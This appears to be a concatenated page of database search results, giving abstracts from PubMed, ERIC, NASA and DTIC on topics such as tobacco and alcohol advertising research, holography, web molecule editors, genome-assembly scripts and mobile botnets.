    The most important advantage of holographic stereograms over conventional hologram is that they can produce 3D images at any desired scale with movement, holographers in many countries involved in the studies towards it. We began our works in the early 80's and accomplished two research projects automatic system for making synthetic holograms and multiplex synthetic rainbow holograms, Based on these works, a large scale holographic stereogram of an animated goldfish was made by us for practical advertisement. In order to meet the needs of the market, a copying system for making multiplex holographic stereograms, and a special kind of silver halide holographic film developed by us recently. The characteristic of the copying system and the property of the special silver-halide emulsion are introduced in this paper.

  11. High-octane (flaxseed oil) protein power shakes for patients on dialysis.

    PubMed

    Monahan, Danielle J

    2007-03-01

    This Patient Information Forum may be photocopied for the purpose of distribution to patients only, but not for any other purposes, such as copying for general distribution, for advertising or promotional purposes, for creating new collective works, or for resale. Professional review and adaptation before patient use is encouraged.

  12. Line Lengths and Starch Scores.

    ERIC Educational Resources Information Center

    Moriarty, Sandra E.

    1986-01-01

    Investigates readability of different line lengths in advertising body copy, hypothesizing a normal curve with lower scores for shorter and longer lines, and scores above the mean for lines in the middle of the distribution. Finds support for lower scores for short lines and some evidence of two optimum line lengths rather than one. (SKC)

  13. Software for Managing Parametric Studies

    NASA Technical Reports Server (NTRS)

    Yarrow, Maurice; McCann, Karen M.; DeVivo, Adrian

    2003-01-01

    The Information Power Grid Virtual Laboratory (ILab) is a Practical Extraction and Reporting Language (PERL) graphical-user-interface computer program that generates shell scripts to facilitate parametric studies performed on the Grid. (The Grid denotes a worldwide network of supercomputers used for scientific and engineering computations involving data sets too large to fit on desktop computers.) Heretofore, parametric studies on the Grid have been impeded by the need to create control language scripts and edit input data files painstaking tasks that are necessary for managing multiple jobs on multiple computers. ILab reflects an object-oriented approach to automation of these tasks: All data and operations are organized into packages in order to accelerate development and debugging. A container or document object in ILab, called an experiment, contains all the information (data and file paths) necessary to define a complex series of repeated, sequenced, and/or branching processes. For convenience and to enable reuse, this object is serialized to and from disk storage. At run time, the current ILab experiment is used to generate required input files and shell scripts, create directories, copy data files, and then both initiate and monitor the execution of all computational processes.

  14. RBSE: Product development team research activity deliverables

    NASA Technical Reports Server (NTRS)

    1992-01-01

    The GHG Functions and Extensions to be added to the NASA Electronic Library System (NELS) 1.1 product are described. These functions will implement the 'output request' capability within the Object Browser. The functions will be implemented in two parts. The first part is a code to be added to the Object Browser (X version) to implement menus allowing the user to request that objects be copied to specific media, or that objects be downloaded to the user's system following a specific protocol, or that the object be printed to one of the printers attached to the host system. The second part is shell scripts which support the various menu selections. Additional scripts to support functions within the GHG shell (X version) will also be created along with the X version of the GHG Shell as initial capability for the 27 Mar. prototype. The scripts will be composed of C shell routines that will accept parameters (primary file pathways). Certain limitations in functionality will invoke Mail instead of Oracle Mail since that has yet to be delivered and the NELS invocation will default to the X-Windows version instead of the ASCII version.

  15. Tobacco prevention advertising: lessons from the commercial world.

    PubMed

    Rust, L

    1999-01-01

    This paper presents observations on how commercial TV advertising usually works with young people, discusses the special circumstances using advertising as a smoking prevention tool, and suggests research to guide future efforts. It is important for prevention efforts to recognize that in everyday life many young people are not systematic decision-makers; their intentions are extremely volatile and context-dependent, and they are highly spontaneous. So trying to change their smoking risk status with a TV ad that affects their conscious intentions toward smoking may not impact how they react when someone offers to share a cigarette with them behind the garage--even if it affects how they answer a "Do you think you'll ever take up smoking?" question right after seeing the ad. Advertising is good at getting consumers to focus on products--either in creating new brands, or in keeping familiar brands foremost in mind. Advertising is also good at providing models of concrete behaviors for people to imitate. Prevention efforts need to use advertising for what it is good at, and by and large this means being very concrete. Ultimately, for research to contribute to better prevention advertising, it needs to give the people who actually create that advertising a set of vivid, compelling images of who it is they are trying to reach and what it is that moves them. Some research methods which, when done properly, can serve this function are focus groups, anthropological studies, psychographic segmentations, moment-by-moment observational measurement, improved copy-testing methodology, and grounded-theory development.

  16. Evaluation of antismoking advertising campaigns.

    PubMed

    Goldman, L K; Glantz, S A

    1998-03-11

    Active and passive smoking are the first and third leading preventable causes of death. Many states are running or initiating antitobacco media campaigns. To review research on the effectiveness of different antismoking messages and published evidence of the effectiveness of paid antismoking advertising. Focus group studies conducted by professional advertising agencies that contract with California, Massachusetts, and Michigan to run their antismoking advertising campaigns, the Centers for Disease Control and Prevention's Media Campaign Resource Book, and copies of the advertisements. In total, we reviewed the results of 186 focus groups involving more than 1500 children and adults dealing with 118 advertisements that had actually been aired and additional concept advertisements that were not produced. Published literature was located using MEDLINE and standard bibliographic sources on the effectiveness of large, paid antitobacco media campaigns. We also reviewed reports and studies conducted by, or for, the California and Massachusetts health departments on program effectiveness, and conducted our own comparison of California vs Massachusetts using cigarette consumption data from the Tobacco Institute. All available studies. Eight advertising strategies to prevent people from starting to smoke and persuading them to stop were reviewed: industry manipulation, secondhand smoke, addiction, cessation, youth access, short-term effects, long-term health effects, and romantic rejection. These focus groups identified strategies that would be expected to be effective and ineffective. Regression analysis was used to compare the cost-effectiveness of the California and Massachusetts programs. Focus group participants indicated that industry manipulation and secondhand smoke are the most effective strategies for denormalizing smoking and reducing cigarette consumption. Addiction and cessation can be effective when used in conjunction with the industry manipulation and secondhand smoke strategies. Youth access, short-term effects, long-term health effects, and romantic rejection are not effective strategies. More aggressive advertising strategies appear to be more effective at reducing tobacco consumption.

  17. "Are You Only an Applauder?" American Music Correspondence Schools in the Early Twentieth Century

    ERIC Educational Resources Information Center

    Vogel, Dorothy

    2015-01-01

    The purpose of this study was to examine correspondence schools of music in the early twentieth century. Advertisements in widely circulated household and music periodicals and archival copies of courses from Siegel-Myers Correspondence School of Music, United States School of Music, American College of Music, and others were examined. Research…

  18. Hybrid Matching and Risk Assessment of the Misspelled Names [HMRA

    ERIC Educational Resources Information Center

    Varol, Cihan

    2009-01-01

    Companies acquire personal information from phone, World Wide Web, or email in order to sell or send an advertisement about their product. However, when this information is acquired, moved, copied or edited, the data may loose its quality. Often, the use of data administrators or a tool that has limited capabilities to correct the mistyped…

  19. The Use of Nostalgia in Television Advertising: A Content Analysis.

    ERIC Educational Resources Information Center

    Unger, Lynette S.; And Others

    1991-01-01

    Analyzes the content of more than 1000 commercials sampled from ABC, CBS, and NBC. Finds that nostalgia was used by means of theme, copy or music about 10 percent of the time and that nostalgic references to family activities or to "olden days" were most likely to be used with food and beverage commercials. (PRA)

  20. Pocket Pal: A Graphic Arts Digest for Printers and Advertising Production Managers. Tenth Edition.

    ERIC Educational Resources Information Center

    1970

    In this digest of information about printing a brief survey of the history of printing precedes detailed explanations of the processes and the materials involved in printing. The four major printing processes--letterpress, gravure, offset lithography, and screen--are explained. Steps in preparing art and copy for printing, including selection of…

  1. [What messages did the Norwegian tobacco industry communicate to consumers in its advertising?].

    PubMed

    Lund, Karl Erik

    2002-01-30

    A Norwegian official report, NOU 2000: 16, Tort liability for the Norwegian tobacco industry, concludes that Norwegian law and judicial practice allows lawsuits against the tobacco industry for damages. A crucial claim in such suits would be that the industry withheld information on health risks and addiction and instead used advertising messages that undermined the information campaigns initiated after the reports on smoking and health from the U.S. Surgeon-General and the Norwegian Board of Health in 1964. This article reports a study of differences in tobacco advertising in Norway before and after 1964. A total of 1,945 photographs of advertisements in two popular weekly family magazines over the 1955 to 1975 period were stored in a database along with information on date of publication, size, copy and message, presumed target group, and characteristics of persons and situations shown. Up until 1964, advertisement space per year in these magazines totalled 100 dm2 (11 sq. feet). The amount of advertising space then increased up until 1973, to 2,033 dm2 (219 sq. feet). The share featuring women went up from 33 in the 1955-64 period to 62% in 1965-75, when 51% of advertisements showed women smoking while 31% showed men smoking. Pre-1964 advertisements primarily contained information to smokers on price, type of tobacco, packaging and country of origin; after 1964 the advertisements developed a more universal appeal associating smoking with various social situations marked by style, well-being and comfort. The tobacco was said to be pure, fresh, mild and natural, and the filter was claimed to have protective properties. It is probable that the cognitive dissonance created by more health information on smoking after 1964, i.e. the necessary motivation to quit, was reduced as a result of strategic changes in the amount and content of advertising.

  2. Data Use Disclaimer Agreement | Energy Analysis | NREL

    Science.gov Websites

    ;). Access to and use of this Tool shall impose the following obligations on the user, as set forth in this Agreement. The user is granted the right, without any fee or cost, to use, copy, modify, alter, enhance and the use of this Tool. The names DOE/NREL/ALLIANCE, however, may not be used in any advertising or

  3. Observing proposals on the Web at the National Optical Astronomy Observatories

    NASA Astrophysics Data System (ADS)

    Pilachowski, Catherine A.; Barnes, Jeannette; Bell, David J.

    1998-07-01

    Proposals for telescope time at facilities available through the National Optical Astronomy Observatories can now be prepared and submitted via the WWW. Investigators submit proposal information through a series of HTML forms to the NOAO server, where the information is processed by Perl CGI scripts. PostScript figures and ASCII files may be attached by investigators for inclusion in their proposals using their browser's upload feature. Proposal information is saved on the server so that investigators can return in later sessions to continue work on a proposal and so that collaborators can participate in writing the proposal if they have access to the proposal account name and password. The system provides on-line verification of LATEX syntax and a spellchecker, and confirms that all sections of the proposal are filled out. Users can request a LATEX or PostScript copy of their proposal by e-mail, or view the proposal on line. The advantages of the Web-based process for our users are convenience, access to on-line documentation, and the simple interface which avoids direct confrontation with LATEX. From the NOAO point of view, the advantage is the use of standardized formats and syntax, particularly as we begin to receive proposals for the Gemini telescopes and some independent observatories.

  4. Antismoking advertisements for youths: an independent evaluation of health, counter-industry, and industry approaches.

    PubMed

    Pechmann, Cornelia; Reibling, Ellen T

    2006-05-01

    We used a validated copy test method to examine the effectiveness of 8 types of antismoking advertisements representing health, counterindustry, and industry approaches. We tested the hypothesis that health ads about tobacco victims can lower most adolescents' intent to smoke if the ads elicit disgust and anti-industry feelings rather than fear. We hypothesized null effects for adolescents with conduct disorder because of their abnormally low empathy. Ninth-grade students from 8 California public schools (n=1725) were randomly assigned to view 1 of 9 videotapes containing a TV show with ads that included either a set of antismoking ads or a set of control ads. Participants completed baseline measures assessing personality traits and postexposure measures assessing smoking intent, feelings, beliefs, and ad evaluations. Ads focusing on young victims suffering from serious tobacco-related diseases elicited disgust, enhanced anti-industry motivation, and reduced intent to smoke among all but conduct-disordered adolescents. Counterindustry and industry ads did not significantly lower smoking intention. Sponsors of tobacco use prevention ad campaigns should consider using ads showing tobacco-related disease and suffering, not just counterindustry ads. Ads should be copy tested before airing.

  5. Health and Safety Plan

    DTIC Science & Technology

    1991-09-01

    chloride 0.05 Vinyl chloride 3.8 Ethyl chloride 5.6 Allyl chloridc 31I1- Chloropropane 25 1 -Chlorobutane 72 Chlorocyclopentane 78 Chlorobenzene 107 1 ...Inc. Environmental Hazards Specialists International, Inc. 20061219206 September 1991 THAMA Form 45, 1 Jul 90 * est Available Copy I I II I I FINAL...NOT BE CITED FOR PURPOSES OF ADVERTISEMENT. PRINTED ON RECYCLED PAPER II 1 TABLE OF CONTENTS I PAGE 1.0 INTRODUCTION

  6. [Plagiarism techniques in practice journal Johannes Franc (1649–1725) and copying practice illustrated by urology texts].

    PubMed

    Breuer, R; Winckelmann, H J

    2012-01-01

    In the seventeenth century it was customary in medicine to copy texts from other authors without citing the source. This practice is illustrated by the diary of Johannes Franc (1649–1725), a physician in the city of Ulm, who handwrote a practice journal in Latin and German Gothic script entering text passages plagiarized as follows: he reproduced them almost word for word in order to pass them off as his own experiences, used them as a model for his prescriptions and as a template for his case histories, and integrated them into his work to support his argumentation. In addition, he summarized texts from various sources, refined them by omitting portions, and incorporated his own experiences for embellishment. These plagiarism techniques and the purpose they served are analyzed and compared to some passages taken from the original texts.

  7. Intragenomic polymorphisms among high-copy loci: a genus-wide study of nuclear ribosomal DNA in Asclepias (Apocynaceae).

    PubMed

    Weitemier, Kevin; Straub, Shannon C K; Fishbein, Mark; Liston, Aaron

    2015-01-01

    Despite knowledge that concerted evolution of high-copy loci is often imperfect, studies that investigate the extent of intragenomic polymorphisms and comparisons across a large number of species are rarely made. We present a bioinformatic pipeline for characterizing polymorphisms within an individual among copies of a high-copy locus. Results are presented for nuclear ribosomal DNA (nrDNA) across the milkweed genus, Asclepias. The 18S-26S portion of the nrDNA cistron of Asclepias syriaca served as a reference for assembly of the region from 124 samples representing 90 species of Asclepias. Reads were mapped back to each individual's consensus and at each position reads differing from the consensus were tallied using a custom perl script. Low frequency polymorphisms existed in all individuals (mean = 5.8%). Most nrDNA positions (91%) were polymorphic in at least one individual, with polymorphic sites being less frequent in subunit regions and loops. Highly polymorphic sites existed in each individual, with highest abundance in the "noncoding" ITS regions. Phylogenetic signal was present in the distribution of intragenomic polymorphisms across the genus. Intragenomic polymorphisms in nrDNA are common in Asclepias, being found at higher frequency than any other study to date. The high and variable frequency of polymorphisms across species highlights concerns that phylogenetic applications of nrDNA may be error-prone. The new analytical approach provided here is applicable to other taxa and other high-copy regions characterized by low coverage genome sequencing (genome skimming).

  8. “Is Your Man Stepping Out?” An online pilot study to evaluate acceptability of a guide-enhanced HIV prevention soap opera video series and feasibility of recruitment by Facebook© advertising

    PubMed Central

    Jones, Rachel; Lacroix, Lorraine J.; Nolte, Kerry

    2015-01-01

    Love, Sex, and Choices (LSC) is a 12-episode soap opera video series developed to reduce HIV risk among at-risk Black urban women. We added a video guide commentator to offer insights at critical dramatic moments. An online pilot study evaluated acceptability of the Guide Enhanced LSC (GELSC) and feasibility of Facebook© advertising, streaming to smartphones, and retention. Facebook© ads targeted high HIV-prevalence areas. In 30 days, Facebook© ads generated 230 screening interviews; 84 were high risk, 40 watched GELSC, and 39 followed up at 30 days. Recruitment of high-risk participants was 10 per week compared to 7 per week in previous field recruitment. Half the sample was Black; 12% were Latina. Findings suggest GELSC influenced sex scripts and behaviors. It was feasible to recruit young urban women from a large geographic area via Facebook© and to retain the sample. We extended the reach to at-risk women by streaming to mobile devices. PMID:26066692

  9. JSME: a free molecule editor in JavaScript.

    PubMed

    Bienfait, Bruno; Ertl, Peter

    2013-01-01

    A molecule editor, i.e. a program facilitating graphical input and interactive editing of molecules, is an indispensable part of every cheminformatics or molecular processing system. Today, when a web browser has become the universal scientific user interface, a tool to edit molecules directly within the web browser is essential. One of the most popular tools for molecular structure input on the web is the JME applet. Since its release nearly 15 years ago, however the web environment has changed and Java applets are facing increasing implementation hurdles due to their maintenance and support requirements, as well as security issues. This prompted us to update the JME editor and port it to a modern Internet programming language - JavaScript. The actual molecule editing Java code of the JME editor was translated into JavaScript with help of the Google Web Toolkit compiler and a custom library that emulates a subset of the GUI features of the Java runtime environment. In this process, the editor was enhanced by additional functionalities including a substituent menu, copy/paste, drag and drop and undo/redo capabilities and an integrated help. In addition to desktop computers, the editor supports molecule editing on touch devices, including iPhone, iPad and Android phones and tablets. In analogy to JME the new editor is named JSME. This new molecule editor is compact, easy to use and easy to incorporate into web pages. A free molecule editor written in JavaScript was developed and is released under the terms of permissive BSD license. The editor is compatible with JME, has practically the same user interface as well as the web application programming interface. The JSME editor is available for download from the project web page http://peter-ertl.com/jsme/

  10. FlaME: Flash Molecular Editor - a 2D structure input tool for the web.

    PubMed

    Dallakian, Pavel; Haider, Norbert

    2011-02-01

    So far, there have been no Flash-based web tools available for chemical structure input. The authors herein present a feasibility study, aiming at the development of a compact and easy-to-use 2D structure editor, using Adobe's Flash technology and its programming language, ActionScript. As a reference model application from the Java world, we selected the Java Molecular Editor (JME). In this feasibility study, we made an attempt to realize a subset of JME's functionality in the Flash Molecular Editor (FlaME) utility. These basic capabilities are: structure input, editing and depiction of single molecules, data import and export in molfile format. The result of molecular diagram sketching in FlaME is accessible in V2000 molfile format. By integrating the molecular editor into a web page, its communication with the HTML elements on this page is established using the two JavaScript functions, getMol() and setMol(). In addition, structures can be copied to the system clipboard. A first attempt was made to create a compact single-file application for 2D molecular structure input/editing on the web, based on Flash technology. With the application examples presented in this article, it could be demonstrated that the Flash methods are principally well-suited to provide the requisite communication between the Flash object (application) and the HTML elements on a web page, using JavaScript functions.

  11. Working to make an image: an analysis of three Philip Morris corporate image media campaigns

    PubMed Central

    Szczypka, Glen; Wakefield, Melanie A; Emery, Sherry; Terry‐McElrath, Yvonne M; Flay, Brian R; Chaloupka, Frank J

    2007-01-01

    Objective To describe the nature and timing of, and population exposure to, Philip Morris USA's three explicit corporate image television advertising campaigns and explore the motivations behind each campaign. Methods : Analysis of television ratings from the largest 75 media markets in the United States, which measure the reach and frequency of population exposure to advertising; copies of all televised commercials produced by Philip Morris; and tobacco industry documents, which provide insights into the specific goals of each campaign. Findings Household exposure to the “Working to Make a Difference: the People of Philip Morris” averaged 5.37 ads/month for 27 months from 1999–2001; the “Tobacco Settlement” campaign averaged 10.05 ads/month for three months in 2000; and “PMUSA” averaged 3.11 ads/month for the last six months in 2003. The percentage of advertising exposure that was purchased in news programming in order to reach opinion leaders increased over the three campaigns from 20%, 39% and 60%, respectively. These public relations campaigns were designed to counter negative images, increase brand recognition, and improve the financial viability of the company. Conclusions Only one early media campaign focused on issues other than tobacco, whereas subsequent campaigns have been specifically concerned with tobacco issues, and more targeted to opinion leaders. The size and timing of the advertising buys appeared to be strategically crafted to maximise advertising exposure for these population subgroups during critical threats to Philip Morris's public image. PMID:17897994

  12. Working to make an image: an analysis of three Philip Morris corporate image media campaigns.

    PubMed

    Szczypka, Glen; Wakefield, Melanie A; Emery, Sherry; Terry-McElrath, Yvonne M; Flay, Brian R; Chaloupka, Frank J

    2007-10-01

    To describe the nature and timing of, and population exposure to, Philip Morris USA's three explicit corporate image television advertising campaigns and explore the motivations behind each campaign. Analysis of television ratings from the largest 75 media markets in the United States, which measure the reach and frequency of population exposure to advertising; copies of all televised commercials produced by Philip Morris; and tobacco industry documents, which provide insights into the specific goals of each campaign. Household exposure to the "Working to Make a Difference: the People of Philip Morris" averaged 5.37 ads/month for 27 months from 1999-2001; the "Tobacco Settlement" campaign averaged 10.05 ads/month for three months in 2000; and "PMUSA" averaged 3.11 ads/month for the last six months in 2003. The percentage of advertising exposure that was purchased in news programming in order to reach opinion leaders increased over the three campaigns from 20%, 39% and 60%, respectively. These public relations campaigns were designed to counter negative images, increase brand recognition, and improve the financial viability of the company. Only one early media campaign focused on issues other than tobacco, whereas subsequent campaigns have been specifically concerned with tobacco issues, and more targeted to opinion leaders. The size and timing of the advertising buys appeared to be strategically crafted to maximise advertising exposure for these population subgroups during critical threats to Philip Morris's public image.

  13. How Can Botnets Cause Storms? Understanding the Evolution and Impact of Mobile Botnets

    DTIC Science & Technology

    2014-01-01

    Android.Bmaster [4] in China that had infected an estimate of hundreds of thousands of Android phones. As a result, mobile botnets have already become...malware via centralized infrastructures (e.g., using short and multimedia message services [1], [4], [5]). However, The work was sponsored by ARO staff...infrastructures (malware sending its copies using short/ multimedia message services or advertising its applications (APPs) on mobile markets [1], [4

  14. Intragenomic polymorphisms among high-copy loci: a genus-wide study of nuclear ribosomal DNA in Asclepias (Apocynaceae)

    PubMed Central

    Straub, Shannon C.K.; Fishbein, Mark; Liston, Aaron

    2015-01-01

    Despite knowledge that concerted evolution of high-copy loci is often imperfect, studies that investigate the extent of intragenomic polymorphisms and comparisons across a large number of species are rarely made. We present a bioinformatic pipeline for characterizing polymorphisms within an individual among copies of a high-copy locus. Results are presented for nuclear ribosomal DNA (nrDNA) across the milkweed genus, Asclepias. The 18S-26S portion of the nrDNA cistron of Asclepias syriaca served as a reference for assembly of the region from 124 samples representing 90 species of Asclepias. Reads were mapped back to each individual’s consensus and at each position reads differing from the consensus were tallied using a custom perl script. Low frequency polymorphisms existed in all individuals (mean = 5.8%). Most nrDNA positions (91%) were polymorphic in at least one individual, with polymorphic sites being less frequent in subunit regions and loops. Highly polymorphic sites existed in each individual, with highest abundance in the “noncoding” ITS regions. Phylogenetic signal was present in the distribution of intragenomic polymorphisms across the genus. Intragenomic polymorphisms in nrDNA are common in Asclepias, being found at higher frequency than any other study to date. The high and variable frequency of polymorphisms across species highlights concerns that phylogenetic applications of nrDNA may be error-prone. The new analytical approach provided here is applicable to other taxa and other high-copy regions characterized by low coverage genome sequencing (genome skimming). PMID:25653903

  15. Messages in alcohol advertising targeted to youth.

    PubMed

    Jones, S C; Donovan, R J

    2001-04-01

    To assess young people's perceived messages in three ads for a vodka-based, pre-mixed alcohol beverage, and to assess the extent to which the ads appeared to be consistent with the industry's voluntary code. Members of two convenience samples of young people (15-16 and 19-21 years) were each exposed to one of three advertisements. Respondents completed a post exposure questionnaire based on standard advertising copy testing procedures. The most frequently nominated open-ended responses to 'the main message(s) of the ad' related to the product delivering mood effects: both removal of negative emotions (e.g. 'stress reduction'), as well as inducing positive states such as feeling 'carefree' and gaining 'increased enjoyment'. Consumption of the product was perceived to offer 'self-confidence', 'sexual/relationship success' and 'social success'. Fewer respondents nominated tangible product characteristics, the main one being 'easy to drink'. One in four of the 15-16 year olds saw the ads as aimed at 'people my age', while almost half of the 19-21 year olds saw the ads as aimed at 'people younger or much younger than me'. These results appear to contravene the Alcoholic Beverages Advertising Code (ABAC) by suggesting that the consumption of alcohol beverages: (i) contributes to social and sexual success; and (ii) contributes to a significant change in mood (stress reduction/relaxation). Incidental observation of alcohol ads suggests that contravention of the code is more widespread than the number of alcohol advertising complaints would indicate. All 11 such complaints lodged with the Advertising Standards Board between May 1998 and April 1999 were dismissed. Evidence such as that gathered in this study might improve the chances of complaints being upheld.

  16. extendFromReads

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Williams, Kelly P.

    2013-10-03

    This package assists in genome assembly. extendFromReads takes as input a set of Illumina (eg, MiSeq) DNA sequencing reads, a query seed sequence and a direction to extend the seed. The algorithm collects all seed-- ]matching reads (flipping reverse-- ]orientation hits), trims off the seed and additional sequence in the other direction, sorts the remaining sequences alphabetically, and prints them aligned without gaps from the point of seed trimming. This produces a visual display distinguishing the flanks of multi- ]copy seeds. A companion script hitMates.pl collects the mates of seed-- ]hi]ng reads, whose alignment reveals longer extensions from the seed.more » The collect/trim/sort strategy was made iterative and scaled up in the script denovo.pl, for de novo contig assembly. An index is pre-- ]built using indexReads.pl that for each unique 21-- ]mer found in all the reads, records its gfate h of extension (whether extendable, blocked by low coverage, or blocked by branching after a duplicated sequence) and other characteristics. Importantly, denovo.pl records all branchings that follow a branching contig endpoint, providing contig- ]extension information« less

  17. Mammography screening participation: effects of a media campaign targeting Italian-speaking women.

    PubMed

    Page, Andrew; Morrell, Stephen; Tewson, Richard; Taylor, Richard; Brassil, Ann

    2005-08-01

    To evaluate the effect of a radio and newspaper campaign encouraging Italian-speaking women aged 50-69 years to attend a population-based mammography screening program. A series of radio scripts and newspaper advertisements ran weekly in the Italian-language media over two, four-week periods. Monthly mammography screens were analysed to determine if numbers of Italian-speaking women in the program increased during the two campaign periods, using interrupted time series regression analysis. A survey of Italian-speaking women attending BreastScreen NSW during the campaign period (n=240) investigated whether individuals had heard or seen the advertisements. There was no statistically significant difference in the number of initial or subsequent mammograms in Italian-speaking women between the campaign periods and the period prior to (or after) the campaign. Twenty per cent of respondents cited the Italian media campaign as a prompt to attend. Fifty per cent had heard the radio ad and 30% had seen the newspaper ad encouraging Italian-speaking women to attend BSNSW. The most common prompt to attend was the BSNSW invitation letter, followed by information or recommendation from a GP. Radio and newspaper advertisements developed for the Italian community did not significantly increase attendance to BSNSW. Measures of program effectiveness based on self-report may not correspond to aggregate screening behaviour. The development of the media campaign in conjunction with the Italian community, and the provision of appropriate levels of resourcing, did not ensure the media campaign's success.

  18. FlaME: Flash Molecular Editor - a 2D structure input tool for the web

    PubMed Central

    2011-01-01

    Background So far, there have been no Flash-based web tools available for chemical structure input. The authors herein present a feasibility study, aiming at the development of a compact and easy-to-use 2D structure editor, using Adobe's Flash technology and its programming language, ActionScript. As a reference model application from the Java world, we selected the Java Molecular Editor (JME). In this feasibility study, we made an attempt to realize a subset of JME's functionality in the Flash Molecular Editor (FlaME) utility. These basic capabilities are: structure input, editing and depiction of single molecules, data import and export in molfile format. Implementation The result of molecular diagram sketching in FlaME is accessible in V2000 molfile format. By integrating the molecular editor into a web page, its communication with the HTML elements on this page is established using the two JavaScript functions, getMol() and setMol(). In addition, structures can be copied to the system clipboard. Conclusion A first attempt was made to create a compact single-file application for 2D molecular structure input/editing on the web, based on Flash technology. With the application examples presented in this article, it could be demonstrated that the Flash methods are principally well-suited to provide the requisite communication between the Flash object (application) and the HTML elements on a web page, using JavaScript functions. PMID:21284863

  19. Translations on Eastern Europe, Political, Sociological, and Military Affairs, Number 1555

    DTIC Science & Technology

    1978-06-29

    Available Copy - a - [III - EE - 6.3J J INTERNATIONAL AFFAIRS HUNGARIAN WRITER FROM ROMANIA PUBLICIZES NEW LITERARY WORKS Budapest ELET ES...8217 In Budapest "] [Text] Sandor Huszar, chief editor of our sister paper, A HET in Bucharest, visited us last in March 1977. And because he returned...what business are you this time? [Answer] I flew to Budapest as a human advertisement. I came to our friends with the problems of A HET. [Questions

  20. "Is Your Man Stepping Out?" An Online Pilot Study to Evaluate Acceptability of a Guide-Enhanced HIV Prevention Soap Opera Video Series and Feasibility of Recruitment by Facebook Advertising.

    PubMed

    Jones, Rachel; Lacroix, Lorraine J; Nolte, Kerry

    2015-01-01

    Love, Sex, and Choices (LSC) is a 12-episode soap opera video series developed to reduce HIV risk among at-risk Black urban women. We added a video guide commentator to offer insights at critical dramatic moments. An online pilot study evaluated acceptability of the Guide-Enhanced LSC (GELSC) and feasibility of Facebook advertising, streaming to smartphones, and retention. Facebook ads targeted high-HIV-prevalence areas. In 30 days, Facebook ads generated 230 screening interviews: 84 were high risk, 40 watched GELSC, and 39 followed up at 30 days. Recruitment of high-risk participants was 10 per week, compared to seven per week in previous field recruitment. Half the sample was Black; 12% were Latina. Findings suggest GELSC influenced sex scripts and behaviors. It was feasible to recruit young urban women from a large geographic area via Facebook and to retain the sample. We extended the reach to at-risk women by streaming to mobile devices. Copyright © 2015 Association of Nurses in AIDS Care. Published by Elsevier Inc. All rights reserved.

  1. Creating a Podcast/Vodcast: A How-To Approach

    NASA Astrophysics Data System (ADS)

    Petersen, C. C.

    2011-09-01

    Creating podcasts and vodcasts is a wonderful way to share news of science research. Public affairs officers use them to reveal the latest discoveries done by scientists in their institutions. Educators can offer podcast/vodcast creation for students who want a unique way to demonstrate their mastery of science topics. Anyone with a computer and a USB microphone can create a podcast. To do a vodcast, you also need a digital video camera and video editing software. This session focused mainly on creating a podcast - writing the script and recording the soundtrack. Attendees also did a short activity to learn to write effective narrative copy for a podcast/vodcast.

  2. Air University Style and Author Guide

    DTIC Science & Technology

    2005-04-01

    journals, magazines , or newspapers, incorporate it into the surrounding text: Most of the people in the office read the Wall Street Journal. Omit an... advertisements , need not be used in running text. 1.58 Truman, Harry S. Use a period after the initial S. 1.59 United States. Spell out United States in text when...essay, a song, or an individually copy- righted article in a journal or magazine —without obtaining permis- sion. Nor can you use the “heart of the work

  3. Environmental Assessment: Convert Slow Routes 300 and 301 to Instrument Routes

    DTIC Science & Technology

    2007-07-01

    in the number of eggs, nestlings , or successful fledglings per nest. Table 4-3 summarizes the success and productivity results from the study. Table...Average eggs per nest 3.47 3.56 Average nestlings per nest 2.27 2.28 Average young/occupied per nest 1.84 1.80 Average young/successful per nest...Gardnervi ll e, State of Nevada, and that the annexed is a full, true and correct copy of # 921278 attached advertisement . Public Meeting - Proposed

  4. A regional technology transfer program

    NASA Technical Reports Server (NTRS)

    1978-01-01

    The final report is presented for the North Carolina Science and Technology Research Center's 14th consecutive contract period as a NASA Industrial Applications Center, serving the information needs of nine Southeastern states. Included in the report are figures for and analysis of marketing efforts, file usage, search delivered, and other services performed for clients; and information on staff changes, workshops, and special projects in 1978. An appendix contains copies of NC/STRC magazine advertisements, letters from clients, and supplementary information on NC/STRC staff and services.

  5. CLIPS, AppleEvents, and AppleScript: Integrating CLIPS with commercial software

    NASA Technical Reports Server (NTRS)

    Compton, Michael M.; Wolfe, Shawn R.

    1994-01-01

    Many of today's intelligent systems are comprised of several modules, perhaps written in different tools and languages, that together help solve the user's problem. These systems often employ a knowledge-based component that is not accessed directly by the user, but instead operates 'in the background' offering assistance to the user as necessary. In these types of modular systems, an efficient, flexible, and eady-to-use mechanism for sharing data between programs is crucial. To help permit transparent integration of CLIPS with other Macintosh applications, the AI Research Branch at NASA Ames Research Center has extended CLIPS to allow it to communicate transparently with other applications through two popular data-sharing mechanisms provided by the Macintosh operating system: Apple Events (a 'high-level' event mechanism for program-to-program communication), and AppleScript, a recently-released scripting language for the Macintosh. This capability permits other applications (running on either the same or a remote machine) to send a command to CLIPS, which then responds as if the command were typed into the CLIPS dialog window. Any result returned by the command is then automatically returned to the program that sent it. Likewise, CLIPS can send several types of Apple Events directly to other local or remote applications. This CLIPS system has been successfully integrated with a variety of commercial applications, including data collection programs, electronics forms packages, DBMS's, and email programs. These mechanisms can permit transparent user access to the knowledge base from within a commercial application, and allow a single copy of the knowledge base to service multiple users in a networked environment.

  6. The case against smokeless tobacco: five facts for the health professional to consider.

    PubMed

    Christen, A G

    1980-09-01

    Snuff dipping and tobacco chewing are rapidly gaining popularity in the United States. They are being heavily promoted through mass media advertising. Advertising spots on radio, television, and in the printed media use well-known sports personalities and entertainers to act as spokesmen for smokeless tobacco. Despite the esthetic drawbacks of these social acceptance. This is being accomplished, at least in part, through a skillful manipulation of the public by the tobacco industry. Use of smokeless tobacco is rapidly increasing, especially among young male athletes and students in high school and college. Advertising implies that smokeless tobacco habits are innocuous and safe. They are not. Smokeless tobacco products have shown that potential for causing cancer of the oral cavity, pharynx, larynx, and eophagus. A review of the medical and dental literature has shown 646 cases of cancer associated directly with smokeless tobacco. Smokeless tobacco can produce significant effects on the soft and hard tissues of the mouth, including bad breath, discolored teeth and restorations, excessive wear (abrasion) of the incisal and occlusal surfaces of the teeth, decreased ability to taste and small, gingival recession, advanced periodontal destruction of the soft and hard tissues, erythema of the soft tissues, leukoplakia, and cancer. Health professionals are urged to advise their patients concerning the hazards of using smokeless tobacco and to take a strong public stance in opposition to the current advertising campaigns aimed at youth. The professions should demand that smokeless tobacco products print health warning labels on the packages and in advertising copy. Finally, patients should be taught how to recognize signs of breakdown of the soft and hard tissues.

